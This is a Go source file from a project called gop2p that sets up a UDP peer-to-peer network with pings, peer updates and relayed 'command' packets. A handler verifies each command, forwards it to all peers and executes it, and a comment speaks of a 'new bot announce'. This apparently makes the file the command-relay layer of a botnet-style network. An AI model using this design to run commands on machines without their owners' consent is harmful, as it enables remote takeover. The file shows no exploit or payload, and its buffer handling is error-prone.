/
services.go
254 lines (208 loc) · 6.48 KB
/
services.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
package main
/*
Project: gop2p
Author : Brandon Vessel
Source code : github.com/brandonvessel/gop2p
MIT License
Copyright (c) 2020 Brandon Vessel
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
import (
"flag"
"fmt"
"net"
"os"
"runtime"
"time"
)
// argument variables
var listeningPort int
func initP2P() {
// initialize peerList
initPeerList()
// parse arguments
initParseArguments()
// initialize services
go serviceInit()
}
func serviceInit() {
bufchan := make(chan UDPData, 10)
// start goroutines
// pinger routine
go servicePinger()
// peer update routine
go serviceUpdater()
// listener thread
go serviceListener(bufchan)
// handler threads
for i := 0; i < runtime.NumCPU()+1; i++ {
go serviceHandler(bufchan)
go serviceHandler(bufchan)
go serviceHandler(bufchan)
go serviceHandler(bufchan)
}
}
func initParseArguments() {
// arguments
// 0 name of file
var myProgramName string = os.Args[0]
fmt.Println("Now running " + myProgramName + " on " + runtime.GOOS + "-" + runtime.GOARCH)
// listening port number integer
flag.IntVar(&listeningPort, "p", 0, "Listening port")
// IP string of parent (bootstrap)
var parentIP string
flag.StringVar(&parentIP, "b", "", "IP of bootstrap node (Default: None)")
// parse flags
flag.Parse()
// check if port exists
if listeningPort == 0 {
// print message
fmt.Println("Port must be specified")
// print usage
flag.Usage()
os.Exit(1)
}
// process parent IP (if it exists)
if parentIP != "" {
// add peer to peerList
peerListLock.Lock()
peerList[0] = Peer{expirationTimer: expirationDefault}
peerList[0].addr.IP = net.ParseIP(parentIP)
peerList[0].addr.Port = listeningPort
// send announce to peer
sendAnnounce(&peerList[0].addr)
peerListLock.Unlock()
}
}
// servicePinger is a goroutine for keep-alive pinging every peer on an interval
func servicePinger() {
for {
// iterate through list sending pings
for i := 0; i < MaxPeers; i++ {
peerListLock.Lock()
// if peer is not dead
if peerList[i].expirationTimer != 0 {
// send ping packet to peer
sendPing(&peerList[i].addr)
// lower expirationTimer for peer
peerList[i].expirationTimer--
// free peerList before sleep
peerListLock.Unlock()
// sleep between sending ping requests to not overload network interface
time.Sleep(pingWait * time.Millisecond)
} else {
// must unlock if not used because otherwise lock would happen twice and deadlock program
peerListLock.Unlock()
}
}
// print peerlist
for i := 0; i < MaxPeers; i++ {
peerListLock.Lock()
// if peer is not dead
if peerList[i].expirationTimer != 0 {
// lower expirationTimer for peer
fmt.Println(peerList[i])
}
peerListLock.Unlock()
}
// sleep between rounds
time.Sleep(pingDelay * time.Millisecond)
}
}
// serviceUpdater is a goroutine for sending peer information through peer updates to all known peers
func serviceUpdater() {
for {
// iterate through list sending pings
for i := 0; i < MaxPeers; i++ {
peerListLock.Lock()
// if peer is not dead
if peerList[i].expirationTimer != 0 {
// free peerList before sleep
peerListLock.Unlock()
// send ping packet to peer
sendPeerUpdate(&peerList[i].addr, *(getRandomPeer()))
// sleep between sending ping requests to not overload network interface
time.Sleep(pingWait * time.Millisecond)
} else {
// must unlock if not used because otherwise lock would happen twice and deadlock program
peerListLock.Unlock()
}
}
// sleep between rounds
time.Sleep(pingDelay * time.Millisecond)
}
}
// serviceListener is a goroutine for listening on the UDP connection and sending the received data to the channel as fast as possible
func serviceListener(bufchan chan UDPData) {
// setup udp listening port for messages
ServerConn, err := net.ListenUDP("udp", &net.UDPAddr{IP: []byte{0, 0, 0, 0}, Port: listeningPort, Zone: ""})
defer fmt.Println(err)
// create buffer for message recieving
buf := make([]byte, maxBufferSize)
for {
// read udp data into buffer
_, addr, _ := ServerConn.ReadFromUDP(buf)
// send data into channel for handlers
bufchan <- UDPData{addr: *addr, buf: buf}
}
}
// serviceHandler is a goroutine for retrieving data from the bufchan channel and processing it.
// Because there can be multiple instances of the serviceHandler, the receiving buffer can process data as fast as it can load it into the channel.
// This increases overall throughput.
func serviceHandler(bufchan chan UDPData) {
// data holds the current data from the channel
var data UDPData
for {
// read data from the channel
data = <-bufchan
// figure out what the message is for
switch data.buf[0] {
case packetCommand:
// execute a command
// verify command
result, commandSlice := verifyCommand(data.buf)
// execute command
if result == true {
// relay command
relayCommand(data.buf)
// execute command
executeCommand(commandSlice)
}
case packetPing:
// ping request
// process
fmt.Println("recv ping: ", data.addr)
processPing(&data.addr)
case packetPong:
// pong response
// update expirationTimer for peer
fmt.Println("recv pong: ", data.addr)
processPong(&data.addr)
case packetAnnounce:
// new bot announce
fmt.Println("recv Announce: ", data.addr)
processAnnounce(&data.addr)
case packetPeerUpdate:
// new peer update
fmt.Println("recv Peer update: ", data.addr)
processPeerUpdate(&data.buf)
default:
// put default action here
fmt.Println("Invalid packet: ", data.addr)
}
}
}